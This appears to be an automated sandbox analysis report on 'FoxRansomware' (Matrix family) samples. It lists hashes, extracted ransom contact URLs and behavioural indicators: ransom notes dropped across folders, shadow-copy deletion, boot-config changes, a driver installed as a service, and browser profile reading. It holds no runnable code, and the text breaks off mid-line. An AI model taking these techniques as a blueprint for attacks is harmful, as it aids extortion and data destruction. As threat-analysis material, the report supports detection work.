Overview
overview
10Static
static
3FoxRansomw...65.exe
windows7-x64
10FoxRansomw...65.exe
windows10-2004-x64
10FoxRansomw...a7.exe
windows7-x64
10FoxRansomw...a7.exe
windows10-2004-x64
10FoxRansomw...20.exe
windows7-x64
10FoxRansomw...20.exe
windows10-2004-x64
10FoxRansomw...0b.exe
windows7-x64
10FoxRansomw...0b.exe
windows10-2004-x64
10FoxRansomw...53.exe
windows7-x64
10FoxRansomw...53.exe
windows10-2004-x64
10FoxRansomw...b1.exe
windows7-x64
10FoxRansomw...b1.exe
windows10-2004-x64
10Analysis
-
max time kernel
150s -
max time network
123s -
platform
windows7_x64 -
resource
win7-20240221-en -
resource tags
arch:x64arch:x86image:win7-20240221-enlocale:en-usos:windows7-x64system -
submitted
03-04-2024 17:56
Static task
static1
Behavioral task
behavioral1
Sample
FoxRansomware/0676816e9e450dea861a65a0b29f44179e1999f09a24e488ec6756528a5e6b65.exe
Resource
win7-20240221-en
Behavioral task
behavioral2
Sample
FoxRansomware/0676816e9e450dea861a65a0b29f44179e1999f09a24e488ec6756528a5e6b65.exe
Resource
win10v2004-20240226-en
Behavioral task
behavioral3
Sample
FoxRansomware/0b03bf1c7b596a862978999eebfa0703e6de48912c9a57e2fed3ae5cd747bea7.exe
Resource
win7-20240221-en
Behavioral task
behavioral4
Sample
FoxRansomware/0b03bf1c7b596a862978999eebfa0703e6de48912c9a57e2fed3ae5cd747bea7.exe
Resource
win10v2004-20240226-en
Behavioral task
behavioral5
Sample
FoxRansomware/42f07bec4edcba04adac1d944f5ec131628565da831fccbfcd42292ea520a620.exe
Resource
win7-20240221-en
Behavioral task
behavioral6
Sample
FoxRansomware/42f07bec4edcba04adac1d944f5ec131628565da831fccbfcd42292ea520a620.exe
Resource
win10v2004-20240226-en
Behavioral task
behavioral7
Sample
FoxRansomware/6e9060d56e669658b059f25a05f37f4d266658fece36afdb564536607fd9570b.exe
Resource
win7-20240221-en
Behavioral task
behavioral8
Sample
FoxRansomware/6e9060d56e669658b059f25a05f37f4d266658fece36afdb564536607fd9570b.exe
Resource
win10v2004-20240226-en
Behavioral task
behavioral9
Sample
FoxRansomware/91d07adbf35edb6bb96e7b210f17b9b868ed858802727d6f69c1e5a2d37a9c53.exe
Resource
win7-20240221-en
Behavioral task
behavioral10
Sample
FoxRansomware/91d07adbf35edb6bb96e7b210f17b9b868ed858802727d6f69c1e5a2d37a9c53.exe
Resource
win10v2004-20240226-en
Behavioral task
behavioral11
Sample
FoxRansomware/941af29a59f8d5960af161b9116bbc7d574a9af6f69a47cf0d3daeb31cba6eb1.exe
Resource
win7-20240319-en
Behavioral task
behavioral12
Sample
FoxRansomware/941af29a59f8d5960af161b9116bbc7d574a9af6f69a47cf0d3daeb31cba6eb1.exe
Resource
win10v2004-20240226-en
General
-
Target
FoxRansomware/0676816e9e450dea861a65a0b29f44179e1999f09a24e488ec6756528a5e6b65.exe
-
Size
1.2MB
-
MD5
607d292bdcdde297252e002e613282ae
-
SHA1
0161d2dd582d064f7e7f50ccb43478ff0884916a
-
SHA256
0676816e9e450dea861a65a0b29f44179e1999f09a24e488ec6756528a5e6b65
-
SHA512
2bdc2ff857f9f52aac5071d3a695f7baf822a971969ba263ad03769c41af7916b558bada6bfe76fe78f730235a4ca5d2dd1cf3eaa2a59c5efef06af0a798acb8
-
SSDEEP
24576:J/SA+2lraRrjSJR5ezmT1dM9bB5slYQt2e8F/KpXcd:PXlOslYQt+5
Malware Config
Extracted
http://myexternalip.com/raw
Extracted
C:\Program Files\Google\Chrome\Application\#ANN_README#.rtf
https://bitmsg.me
https://bitmsg.me/users/sign_up
https://bitmsg.me/users/sign_in
Signatures
-
Matrix Ransomware 64 IoCs
Targeted ransomware with information collection and encryption functionality.
Processes:
0676816e9e450dea861a65a0b29f44179e1999f09a24e488ec6756528a5e6b65.exedescription ioc process File created C:\Program Files\Microsoft Games\Hearts\de-DE\#ANN_README#.rtf 0676816e9e450dea861a65a0b29f44179e1999f09a24e488ec6756528a5e6b65.exe File created C:\ProgramData\Microsoft\OFFICE\#ANN_README#.rtf 0676816e9e450dea861a65a0b29f44179e1999f09a24e488ec6756528a5e6b65.exe File created C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Safe Browsing Network\#ANN_README#.rtf 0676816e9e450dea861a65a0b29f44179e1999f09a24e488ec6756528a5e6b65.exe File created C:\Program Files\VideoLAN\VLC\locale\ta\LC_MESSAGES\#ANN_README#.rtf 0676816e9e450dea861a65a0b29f44179e1999f09a24e488ec6756528a5e6b65.exe File created C:\Program Files\VideoLAN\VLC\plugins\demux\#ANN_README#.rtf 0676816e9e450dea861a65a0b29f44179e1999f09a24e488ec6756528a5e6b65.exe File created C:\ProgramData\Microsoft Help\#ANN_README#.rtf 0676816e9e450dea861a65a0b29f44179e1999f09a24e488ec6756528a5e6b65.exe File created C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\shared_proto_db\#ANN_README#.rtf 0676816e9e450dea861a65a0b29f44179e1999f09a24e488ec6756528a5e6b65.exe File created C:\Program Files\Java\jdk1.7.0_80\lib\missioncontrol\features\com.jrockit.mc.feature.core_5.5.0.165303\#ANN_README#.rtf 0676816e9e450dea861a65a0b29f44179e1999f09a24e488ec6756528a5e6b65.exe File created C:\Program Files\Java\jdk1.7.0_80\lib\missioncontrol\features\org.eclipse.e4.rcp_1.3.100.v20141007-2033\META-INF\#ANN_README#.rtf 0676816e9e450dea861a65a0b29f44179e1999f09a24e488ec6756528a5e6b65.exe File created C:\Program Files\VideoLAN\VLC\locale\ckb\LC_MESSAGES\#ANN_README#.rtf 0676816e9e450dea861a65a0b29f44179e1999f09a24e488ec6756528a5e6b65.exe File created C:\Program Files\VideoLAN\VLC\plugins\audio_filter\#ANN_README#.rtf 0676816e9e450dea861a65a0b29f44179e1999f09a24e488ec6756528a5e6b65.exe File created C:\ProgramData\Package Cache\{B175520C-86A2-35A7-8619-86DC379688B9}v11.0.61030\packages\vcRuntimeAdditional_x86\#ANN_README#.rtf 0676816e9e450dea861a65a0b29f44179e1999f09a24e488ec6756528a5e6b65.exe File created C:\Program Files\Google\Chrome\Application\106.0.5249.119\Locales\#ANN_README#.rtf 0676816e9e450dea861a65a0b29f44179e1999f09a24e488ec6756528a5e6b65.exe File created C:\Program Files\Java\jdk1.7.0_80\jre\bin\plugin2\#ANN_README#.rtf 0676816e9e450dea861a65a0b29f44179e1999f09a24e488ec6756528a5e6b65.exe File created C:\Program Files\Java\jdk1.7.0_80\lib\missioncontrol\features\org.eclipse.rcp_4.4.0.v20141007-2301\#ANN_README#.rtf 0676816e9e450dea861a65a0b29f44179e1999f09a24e488ec6756528a5e6b65.exe File created C:\Program Files\Microsoft Games\FreeCell\en-US\#ANN_README#.rtf 0676816e9e450dea861a65a0b29f44179e1999f09a24e488ec6756528a5e6b65.exe File created C:\Program Files\Microsoft Games\FreeCell\fr-FR\#ANN_README#.rtf 0676816e9e450dea861a65a0b29f44179e1999f09a24e488ec6756528a5e6b65.exe File created C:\Users\Public\Recorded TV\Sample Media\#ANN_README#.rtf 0676816e9e450dea861a65a0b29f44179e1999f09a24e488ec6756528a5e6b65.exe File created C:\Program Files\Java\jdk1.7.0_80\lib\missioncontrol\plugins\com.jrockit.mc.rjmx_5.5.0.165303\META-INF\#ANN_README#.rtf 0676816e9e450dea861a65a0b29f44179e1999f09a24e488ec6756528a5e6b65.exe File created C:\Program Files\VideoLAN\VLC\plugins\mux\#ANN_README#.rtf 0676816e9e450dea861a65a0b29f44179e1999f09a24e488ec6756528a5e6b65.exe File created C:\Users\Admin\AppData\Local\Microsoft\Feeds Cache\YSYAJTCS\#ANN_README#.rtf 0676816e9e450dea861a65a0b29f44179e1999f09a24e488ec6756528a5e6b65.exe File created C:\Program Files\Microsoft Games\Mahjong\#ANN_README#.rtf 0676816e9e450dea861a65a0b29f44179e1999f09a24e488ec6756528a5e6b65.exe File created C:\Program Files\Microsoft Games\Minesweeper\ja-JP\#ANN_README#.rtf 0676816e9e450dea861a65a0b29f44179e1999f09a24e488ec6756528a5e6b65.exe File created C:\Program Files\Microsoft Games\Purble Place\ja-JP\#ANN_README#.rtf 0676816e9e450dea861a65a0b29f44179e1999f09a24e488ec6756528a5e6b65.exe File created C:\Program Files\VideoLAN\VLC\locale\en_GB\LC_MESSAGES\#ANN_README#.rtf 0676816e9e450dea861a65a0b29f44179e1999f09a24e488ec6756528a5e6b65.exe File created C:\Users\Admin\AppData\Local\Adobe\Color\Profiles\#ANN_README#.rtf 0676816e9e450dea861a65a0b29f44179e1999f09a24e488ec6756528a5e6b65.exe File created C:\Program Files (x86)\Adobe\Reader 9.0\Reader\SPPlugins\#ANN_README#.rtf 0676816e9e450dea861a65a0b29f44179e1999f09a24e488ec6756528a5e6b65.exe File created C:\Users\Admin\AppData\Roaming\Mozilla\Firefox\Profiles\bm46du9w.Admin\#ANN_README#.rtf 0676816e9e450dea861a65a0b29f44179e1999f09a24e488ec6756528a5e6b65.exe File created C:\Program Files\Microsoft Games\Solitaire\de-DE\#ANN_README#.rtf 0676816e9e450dea861a65a0b29f44179e1999f09a24e488ec6756528a5e6b65.exe File created C:\Program Files\VideoLAN\VLC\locale\mn\LC_MESSAGES\#ANN_README#.rtf 0676816e9e450dea861a65a0b29f44179e1999f09a24e488ec6756528a5e6b65.exe File created C:\Program Files\VideoLAN\VLC\plugins\packetizer\#ANN_README#.rtf 0676816e9e450dea861a65a0b29f44179e1999f09a24e488ec6756528a5e6b65.exe File created C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\#ANN_README#.rtf 0676816e9e450dea861a65a0b29f44179e1999f09a24e488ec6756528a5e6b65.exe File created C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Session Storage\#ANN_README#.rtf 0676816e9e450dea861a65a0b29f44179e1999f09a24e488ec6756528a5e6b65.exe File created C:\Program Files\Java\jdk1.7.0_80\lib\missioncontrol\features\org.eclipse.ecf.filetransfer.feature_3.9.0.v20140827-1444\META-INF\#ANN_README#.rtf 0676816e9e450dea861a65a0b29f44179e1999f09a24e488ec6756528a5e6b65.exe File created C:\Program Files\Java\jdk1.7.0_80\lib\visualvm\profiler\#ANN_README#.rtf 0676816e9e450dea861a65a0b29f44179e1999f09a24e488ec6756528a5e6b65.exe File created C:\Program Files\VideoLAN\VLC\locale\he\LC_MESSAGES\#ANN_README#.rtf 0676816e9e450dea861a65a0b29f44179e1999f09a24e488ec6756528a5e6b65.exe File created C:\Program Files\VideoLAN\VLC\plugins\d3d9\#ANN_README#.rtf 0676816e9e450dea861a65a0b29f44179e1999f09a24e488ec6756528a5e6b65.exe File created C:\Users\Admin\Favorites\Links for United States\#ANN_README#.rtf 0676816e9e450dea861a65a0b29f44179e1999f09a24e488ec6756528a5e6b65.exe File created C:\Program Files\Java\jdk1.7.0_80\lib\missioncontrol\plugins\com.jrockit.mc.console.ui.notification_5.5.0.165303\html\dcommon\gifs\#ANN_README#.rtf 0676816e9e450dea861a65a0b29f44179e1999f09a24e488ec6756528a5e6b65.exe File created C:\Program Files\Java\jdk1.7.0_80\lib\visualvm\platform\lib\locale\#ANN_README#.rtf 0676816e9e450dea861a65a0b29f44179e1999f09a24e488ec6756528a5e6b65.exe File created C:\Program Files\Microsoft Games\Multiplayer\Backgammon\#ANN_README#.rtf 0676816e9e450dea861a65a0b29f44179e1999f09a24e488ec6756528a5e6b65.exe File created C:\Program Files\VideoLAN\VLC\lua\http\js\#ANN_README#.rtf 0676816e9e450dea861a65a0b29f44179e1999f09a24e488ec6756528a5e6b65.exe File created C:\Users\Admin\AppData\Local\Google\Chrome\User Data\GrShaderCache\#ANN_README#.rtf 0676816e9e450dea861a65a0b29f44179e1999f09a24e488ec6756528a5e6b65.exe File created C:\Users\Admin\AppData\LocalLow\Sun\Java\Deployment\#ANN_README#.rtf 0676816e9e450dea861a65a0b29f44179e1999f09a24e488ec6756528a5e6b65.exe File created C:\Program Files\Java\jdk1.7.0_80\bin\#ANN_README#.rtf 0676816e9e450dea861a65a0b29f44179e1999f09a24e488ec6756528a5e6b65.exe File created C:\Program Files (x86)\Microsoft Visual Studio 8\Common7\IDE\PublicAssemblies\#ANN_README#.rtf 0676816e9e450dea861a65a0b29f44179e1999f09a24e488ec6756528a5e6b65.exe File created C:\Program Files\VideoLAN\VLC\locale\bn\LC_MESSAGES\#ANN_README#.rtf 0676816e9e450dea861a65a0b29f44179e1999f09a24e488ec6756528a5e6b65.exe File created C:\Program Files\VideoLAN\VLC\locale\th\LC_MESSAGES\#ANN_README#.rtf 0676816e9e450dea861a65a0b29f44179e1999f09a24e488ec6756528a5e6b65.exe File created C:\ProgramData\Microsoft\MF\#ANN_README#.rtf 0676816e9e450dea861a65a0b29f44179e1999f09a24e488ec6756528a5e6b65.exe File created C:\Program Files\Java\jdk1.7.0_80\lib\missioncontrol\features\org.eclipse.ecf.core.feature_1.1.0.v20140827-1444\#ANN_README#.rtf 0676816e9e450dea861a65a0b29f44179e1999f09a24e488ec6756528a5e6b65.exe File created C:\Program Files\Java\jdk1.7.0_80\lib\missioncontrol\features\org.eclipse.equinox.p2.rcp.feature_1.2.0.v20140523-0116\#ANN_README#.rtf 0676816e9e450dea861a65a0b29f44179e1999f09a24e488ec6756528a5e6b65.exe File created C:\Program Files\Java\jre7\lib\zi\America\North_Dakota\#ANN_README#.rtf 0676816e9e450dea861a65a0b29f44179e1999f09a24e488ec6756528a5e6b65.exe File created C:\Program Files\Microsoft Games\Hearts\ja-JP\#ANN_README#.rtf 0676816e9e450dea861a65a0b29f44179e1999f09a24e488ec6756528a5e6b65.exe File created C:\Program Files\VideoLAN\VLC\locale\fur\LC_MESSAGES\#ANN_README#.rtf 0676816e9e450dea861a65a0b29f44179e1999f09a24e488ec6756528a5e6b65.exe File created C:\Program Files\VideoLAN\VLC\lua\http\css\ui-lightness\#ANN_README#.rtf 0676816e9e450dea861a65a0b29f44179e1999f09a24e488ec6756528a5e6b65.exe File created C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Cache\Cache_Data\#ANN_README#.rtf 0676816e9e450dea861a65a0b29f44179e1999f09a24e488ec6756528a5e6b65.exe File created C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\GPUCache\#ANN_README#.rtf 0676816e9e450dea861a65a0b29f44179e1999f09a24e488ec6756528a5e6b65.exe File created C:\Program Files\VideoLAN\VLC\locale\sv\LC_MESSAGES\#ANN_README#.rtf 0676816e9e450dea861a65a0b29f44179e1999f09a24e488ec6756528a5e6b65.exe File created C:\Program Files\Mozilla Firefox\fonts\#ANN_README#.rtf 0676816e9e450dea861a65a0b29f44179e1999f09a24e488ec6756528a5e6b65.exe File created C:\ProgramData\Microsoft\Assistance\Client\1.0\en-US\#ANN_README#.rtf 0676816e9e450dea861a65a0b29f44179e1999f09a24e488ec6756528a5e6b65.exe File created C:\Program Files (x86)\Google\Update\1.3.36.151\#ANN_README#.rtf 0676816e9e450dea861a65a0b29f44179e1999f09a24e488ec6756528a5e6b65.exe File created C:\Program Files\Java\jdk1.7.0_80\lib\missioncontrol\features\org.eclipse.equinox.p2.core.feature_1.3.0.v20140523-0116\META-INF\#ANN_README#.rtf 0676816e9e450dea861a65a0b29f44179e1999f09a24e488ec6756528a5e6b65.exe File created C:\Program Files\Java\jdk1.7.0_80\lib\missioncontrol\plugins\com.jrockit.mc.console.ui.notification_5.5.0.165303\html\dcommon\css\#ANN_README#.rtf 0676816e9e450dea861a65a0b29f44179e1999f09a24e488ec6756528a5e6b65.exe File created C:\Program Files\Java\jdk1.7.0_80\lib\visualvm\profiler\lib\#ANN_README#.rtf 0676816e9e450dea861a65a0b29f44179e1999f09a24e488ec6756528a5e6b65.exe -
Deletes shadow copies 2 TTPs
Ransomware often targets backup files to inhibit system recovery.
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Modifies boot configuration data using bcdedit 1 TTPs 2 IoCs
Processes:
bcdedit.exebcdedit.exepid process 3432 bcdedit.exe 540 bcdedit.exe -
Blocklisted process makes network request 1 IoCs
Processes:
powershell.exeflow pid process 9 1264 powershell.exe -
Drops file in Drivers directory 1 IoCs
Processes:
XNB541eD64.exedescription ioc process File created C:\Windows\system32\Drivers\PROCEXP152.SYS XNB541eD64.exe -
Sets service image path in registry 2 TTPs 1 IoCs
Processes:
XNB541eD64.exedescription ioc process Set value (str) \REGISTRY\MACHINE\SYSTEM\ControlSet001\services\PROCEXP152\ImagePath = "\\??\\C:\\Windows\\system32\\Drivers\\PROCEXP152.SYS" XNB541eD64.exe -
Executes dropped EXE 3 IoCs
Processes:
NWsny7pa.exeXNB541eD.exeXNB541eD64.exepid process 3000 NWsny7pa.exe 3812 XNB541eD.exe 2680 XNB541eD64.exe -
Loads dropped DLL 4 IoCs
Processes:
0676816e9e450dea861a65a0b29f44179e1999f09a24e488ec6756528a5e6b65.execmd.exeXNB541eD.exepid process 2088 0676816e9e450dea861a65a0b29f44179e1999f09a24e488ec6756528a5e6b65.exe 2088 0676816e9e450dea861a65a0b29f44179e1999f09a24e488ec6756528a5e6b65.exe 3668 cmd.exe 3812 XNB541eD.exe -
Modifies file permissions 1 TTPs 1 IoCs
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Reads user/profile data of web browsers 2 TTPs
Infostealers often target stored browser data, which can include saved credentials etc.
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Processes:
resource yara_rule \Users\Admin\AppData\Local\Temp\FoxRansomware\XNB541eD.exe upx behavioral1/memory/3812-2583-0x0000000000400000-0x0000000000477000-memory.dmp upx behavioral1/memory/3668-2580-0x0000000000400000-0x0000000000477000-memory.dmp upx behavioral1/memory/3812-9302-0x0000000000400000-0x0000000000477000-memory.dmp upx -
Drops desktop.ini file(s) 40 IoCs
Processes:
0676816e9e450dea861a65a0b29f44179e1999f09a24e488ec6756528a5e6b65.exedescription ioc process File opened for modification C:\Users\Admin\Favorites\Links\desktop.ini 0676816e9e450dea861a65a0b29f44179e1999f09a24e488ec6756528a5e6b65.exe File opened for modification C:\Users\Public\Videos\desktop.ini 0676816e9e450dea861a65a0b29f44179e1999f09a24e488ec6756528a5e6b65.exe File opened for modification C:\Program Files (x86)\desktop.ini 0676816e9e450dea861a65a0b29f44179e1999f09a24e488ec6756528a5e6b65.exe File opened for modification C:\Users\Admin\AppData\Local\Microsoft\Feeds Cache\desktop.ini 0676816e9e450dea861a65a0b29f44179e1999f09a24e488ec6756528a5e6b65.exe File opened for modification C:\Users\Public\desktop.ini 0676816e9e450dea861a65a0b29f44179e1999f09a24e488ec6756528a5e6b65.exe File opened for modification C:\Users\Admin\Saved Games\desktop.ini 0676816e9e450dea861a65a0b29f44179e1999f09a24e488ec6756528a5e6b65.exe File opened for modification C:\Users\Public\Recorded TV\Sample Media\desktop.ini 0676816e9e450dea861a65a0b29f44179e1999f09a24e488ec6756528a5e6b65.exe File opened for modification C:\Users\Public\Pictures\Sample Pictures\desktop.ini 0676816e9e450dea861a65a0b29f44179e1999f09a24e488ec6756528a5e6b65.exe File opened for modification C:\Users\Admin\AppData\Local\Microsoft\Feeds Cache\7GUSN8UJ\desktop.ini 0676816e9e450dea861a65a0b29f44179e1999f09a24e488ec6756528a5e6b65.exe File opened for modification C:\Program Files\Microsoft Games\Purble Place\desktop.ini 0676816e9e450dea861a65a0b29f44179e1999f09a24e488ec6756528a5e6b65.exe File opened for modification C:\Users\Admin\Favorites\desktop.ini 0676816e9e450dea861a65a0b29f44179e1999f09a24e488ec6756528a5e6b65.exe File opened for modification C:\Users\Admin\Downloads\desktop.ini 0676816e9e450dea861a65a0b29f44179e1999f09a24e488ec6756528a5e6b65.exe File opened for modification C:\Users\Admin\AppData\Local\Microsoft\Feeds Cache\K9KFIAQ8\desktop.ini 0676816e9e450dea861a65a0b29f44179e1999f09a24e488ec6756528a5e6b65.exe File opened for modification C:\Users\Public\Music\desktop.ini 0676816e9e450dea861a65a0b29f44179e1999f09a24e488ec6756528a5e6b65.exe File opened for modification C:\Program Files\Microsoft Games\Hearts\desktop.ini 0676816e9e450dea861a65a0b29f44179e1999f09a24e488ec6756528a5e6b65.exe File opened for modification C:\Users\Admin\Links\desktop.ini 0676816e9e450dea861a65a0b29f44179e1999f09a24e488ec6756528a5e6b65.exe File opened for modification C:\Users\Public\Libraries\desktop.ini 0676816e9e450dea861a65a0b29f44179e1999f09a24e488ec6756528a5e6b65.exe File opened for modification C:\Users\Public\Videos\Sample Videos\desktop.ini 0676816e9e450dea861a65a0b29f44179e1999f09a24e488ec6756528a5e6b65.exe File opened for modification C:\Users\Admin\Desktop\desktop.ini 0676816e9e450dea861a65a0b29f44179e1999f09a24e488ec6756528a5e6b65.exe File opened for modification C:\Users\Public\Documents\desktop.ini 0676816e9e450dea861a65a0b29f44179e1999f09a24e488ec6756528a5e6b65.exe File opened for modification C:\Program Files\Microsoft Games\Mahjong\desktop.ini 0676816e9e450dea861a65a0b29f44179e1999f09a24e488ec6756528a5e6b65.exe File opened for modification C:\Users\Admin\Searches\desktop.ini 0676816e9e450dea861a65a0b29f44179e1999f09a24e488ec6756528a5e6b65.exe File opened for modification C:\Users\Admin\Pictures\desktop.ini 0676816e9e450dea861a65a0b29f44179e1999f09a24e488ec6756528a5e6b65.exe File opened for modification C:\Users\Public\Music\Sample Music\desktop.ini 0676816e9e450dea861a65a0b29f44179e1999f09a24e488ec6756528a5e6b65.exe File opened for modification C:\Program Files\Microsoft Games\Chess\desktop.ini 0676816e9e450dea861a65a0b29f44179e1999f09a24e488ec6756528a5e6b65.exe File opened for modification C:\Users\Admin\Documents\desktop.ini 0676816e9e450dea861a65a0b29f44179e1999f09a24e488ec6756528a5e6b65.exe File opened for modification C:\Users\Public\Desktop\desktop.ini 0676816e9e450dea861a65a0b29f44179e1999f09a24e488ec6756528a5e6b65.exe File opened for modification C:\Users\Public\Downloads\desktop.ini 0676816e9e450dea861a65a0b29f44179e1999f09a24e488ec6756528a5e6b65.exe File opened for modification C:\Users\Admin\Music\desktop.ini 0676816e9e450dea861a65a0b29f44179e1999f09a24e488ec6756528a5e6b65.exe File opened for modification C:\Users\Public\Pictures\desktop.ini 0676816e9e450dea861a65a0b29f44179e1999f09a24e488ec6756528a5e6b65.exe File opened for modification C:\Program Files\desktop.ini 0676816e9e450dea861a65a0b29f44179e1999f09a24e488ec6756528a5e6b65.exe File opened for modification C:\Program Files\Microsoft Games\FreeCell\desktop.ini 0676816e9e450dea861a65a0b29f44179e1999f09a24e488ec6756528a5e6b65.exe File opened for modification C:\Users\Admin\Favorites\Links for United States\desktop.ini 0676816e9e450dea861a65a0b29f44179e1999f09a24e488ec6756528a5e6b65.exe File opened for modification C:\Users\Admin\AppData\Local\Microsoft\Feeds Cache\U6FX44QQ\desktop.ini 0676816e9e450dea861a65a0b29f44179e1999f09a24e488ec6756528a5e6b65.exe File opened for modification C:\Users\Admin\Contacts\desktop.ini 0676816e9e450dea861a65a0b29f44179e1999f09a24e488ec6756528a5e6b65.exe File opened for modification C:\Users\Admin\AppData\Local\Microsoft\Feeds Cache\YSYAJTCS\desktop.ini 0676816e9e450dea861a65a0b29f44179e1999f09a24e488ec6756528a5e6b65.exe File opened for modification C:\Users\Admin\Videos\desktop.ini 0676816e9e450dea861a65a0b29f44179e1999f09a24e488ec6756528a5e6b65.exe File opened for modification C:\Program Files\Microsoft Games\Solitaire\desktop.ini 0676816e9e450dea861a65a0b29f44179e1999f09a24e488ec6756528a5e6b65.exe File opened for modification C:\Program Files\Microsoft Games\SpiderSolitaire\desktop.ini 0676816e9e450dea861a65a0b29f44179e1999f09a24e488ec6756528a5e6b65.exe File opened for modification C:\Users\Public\Recorded TV\desktop.ini 0676816e9e450dea861a65a0b29f44179e1999f09a24e488ec6756528a5e6b65.exe -
Enumerates connected drives 3 TTPs 44 IoCs
Attempts to read the root path of hard drives other than the default C: drive.
Processes:
0676816e9e450dea861a65a0b29f44179e1999f09a24e488ec6756528a5e6b65.exeXNB541eD64.exedescription ioc process File opened (read-only) \??\O: 0676816e9e450dea861a65a0b29f44179e1999f09a24e488ec6756528a5e6b65.exe File opened (read-only) \??\E: 0676816e9e450dea861a65a0b29f44179e1999f09a24e488ec6756528a5e6b65.exe File opened (read-only) \??\B: XNB541eD64.exe File opened (read-only) \??\K: XNB541eD64.exe File opened (read-only) \??\N: XNB541eD64.exe File opened (read-only) \??\Y: XNB541eD64.exe File opened (read-only) \??\Z: XNB541eD64.exe File opened (read-only) \??\S: 0676816e9e450dea861a65a0b29f44179e1999f09a24e488ec6756528a5e6b65.exe File opened (read-only) \??\P: 0676816e9e450dea861a65a0b29f44179e1999f09a24e488ec6756528a5e6b65.exe File opened (read-only) \??\K: 0676816e9e450dea861a65a0b29f44179e1999f09a24e488ec6756528a5e6b65.exe File opened (read-only) \??\I: XNB541eD64.exe File opened (read-only) \??\Z: 0676816e9e450dea861a65a0b29f44179e1999f09a24e488ec6756528a5e6b65.exe File opened (read-only) \??\A: XNB541eD64.exe File opened (read-only) \??\O: XNB541eD64.exe File opened (read-only) \??\P: XNB541eD64.exe File opened (read-only) \??\W: XNB541eD64.exe File opened (read-only) \??\X: XNB541eD64.exe File opened (read-only) \??\U: 0676816e9e450dea861a65a0b29f44179e1999f09a24e488ec6756528a5e6b65.exe File opened (read-only) \??\L: 0676816e9e450dea861a65a0b29f44179e1999f09a24e488ec6756528a5e6b65.exe File opened (read-only) \??\S: XNB541eD64.exe File opened (read-only) \??\Y: 0676816e9e450dea861a65a0b29f44179e1999f09a24e488ec6756528a5e6b65.exe File opened (read-only) \??\N: 0676816e9e450dea861a65a0b29f44179e1999f09a24e488ec6756528a5e6b65.exe File opened (read-only) \??\J: 0676816e9e450dea861a65a0b29f44179e1999f09a24e488ec6756528a5e6b65.exe File opened (read-only) \??\G: 0676816e9e450dea861a65a0b29f44179e1999f09a24e488ec6756528a5e6b65.exe File opened (read-only) \??\J: XNB541eD64.exe File opened (read-only) \??\Q: XNB541eD64.exe File opened (read-only) \??\T: XNB541eD64.exe File opened (read-only) \??\V: 0676816e9e450dea861a65a0b29f44179e1999f09a24e488ec6756528a5e6b65.exe File opened (read-only) \??\R: 0676816e9e450dea861a65a0b29f44179e1999f09a24e488ec6756528a5e6b65.exe File opened (read-only) \??\H: 0676816e9e450dea861a65a0b29f44179e1999f09a24e488ec6756528a5e6b65.exe File opened (read-only) \??\H: XNB541eD64.exe File opened (read-only) \??\L: XNB541eD64.exe File opened (read-only) \??\M: XNB541eD64.exe File opened (read-only) \??\X: 0676816e9e450dea861a65a0b29f44179e1999f09a24e488ec6756528a5e6b65.exe File opened (read-only) \??\R: XNB541eD64.exe File opened (read-only) \??\U: XNB541eD64.exe File opened (read-only) \??\M: 0676816e9e450dea861a65a0b29f44179e1999f09a24e488ec6756528a5e6b65.exe File opened (read-only) \??\T: 0676816e9e450dea861a65a0b29f44179e1999f09a24e488ec6756528a5e6b65.exe File opened (read-only) \??\Q: 0676816e9e450dea861a65a0b29f44179e1999f09a24e488ec6756528a5e6b65.exe File opened (read-only) \??\I: 0676816e9e450dea861a65a0b29f44179e1999f09a24e488ec6756528a5e6b65.exe File opened (read-only) \??\E: XNB541eD64.exe File opened (read-only) \??\G: XNB541eD64.exe File opened (read-only) \??\V: XNB541eD64.exe File opened (read-only) \??\W: 0676816e9e450dea861a65a0b29f44179e1999f09a24e488ec6756528a5e6b65.exe -
Looks up external IP address via web service 1 IoCs
Uses a legitimate IP lookup service to find the infected system's external IP.
Processes:
flow ioc 8 myexternalip.com -
Sets desktop wallpaper using registry 2 TTPs 1 IoCs
Processes:
reg.exedescription ioc process Set value (str) \REGISTRY\USER\S-1-5-21-3787592910-3720486031-2929222812-1000\Control Panel\Desktop\Wallpaper = "C:\\Users\\Admin\\AppData\\Roaming\\Imidld95.bmp" reg.exe -
Drops file in Program Files directory 64 IoCs
Processes:
0676816e9e450dea861a65a0b29f44179e1999f09a24e488ec6756528a5e6b65.exedescription ioc process File opened for modification C:\Program Files\Java\jdk1.7.0_80\lib\missioncontrol\plugins\org.eclipse.core.jobs_3.6.0.v20140424-0053.jar 0676816e9e450dea861a65a0b29f44179e1999f09a24e488ec6756528a5e6b65.exe File opened for modification C:\Program Files\Java\jre7\bin\server\classes.jsa 0676816e9e450dea861a65a0b29f44179e1999f09a24e488ec6756528a5e6b65.exe File opened for modification C:\Program Files\VideoLAN\VLC\plugins\spu\liblogo_plugin.dll 0676816e9e450dea861a65a0b29f44179e1999f09a24e488ec6756528a5e6b65.exe File opened for modification C:\Program Files (x86)\Microsoft.NET\Primary Interop Assemblies\stdole.dll 0676816e9e450dea861a65a0b29f44179e1999f09a24e488ec6756528a5e6b65.exe File opened for modification C:\Program Files\VideoLAN\VLC\plugins\demux\libdiracsys_plugin.dll 0676816e9e450dea861a65a0b29f44179e1999f09a24e488ec6756528a5e6b65.exe File opened for modification C:\Program Files\Java\jdk1.7.0_80\lib\missioncontrol\features\org.eclipse.help_2.0.102.v20141007-2301\feature.properties 0676816e9e450dea861a65a0b29f44179e1999f09a24e488ec6756528a5e6b65.exe File opened for modification C:\Program Files\Java\jre7\lib\zi\America\Matamoros 0676816e9e450dea861a65a0b29f44179e1999f09a24e488ec6756528a5e6b65.exe File opened for modification C:\Program Files\VideoLAN\VLC\plugins\demux\libdemuxdump_plugin.dll 0676816e9e450dea861a65a0b29f44179e1999f09a24e488ec6756528a5e6b65.exe File opened for modification C:\Program Files (x86)\Adobe\Reader 9.0\Resource\Linguistics\LanguageNames2\DisplayLanguageNames.en_CA.txt 0676816e9e450dea861a65a0b29f44179e1999f09a24e488ec6756528a5e6b65.exe File opened for modification C:\Program Files\Java\jdk1.7.0_80\lib\visualvm\platform\update_tracking\org-netbeans-api-visual.xml 0676816e9e450dea861a65a0b29f44179e1999f09a24e488ec6756528a5e6b65.exe File opened for modification C:\Program 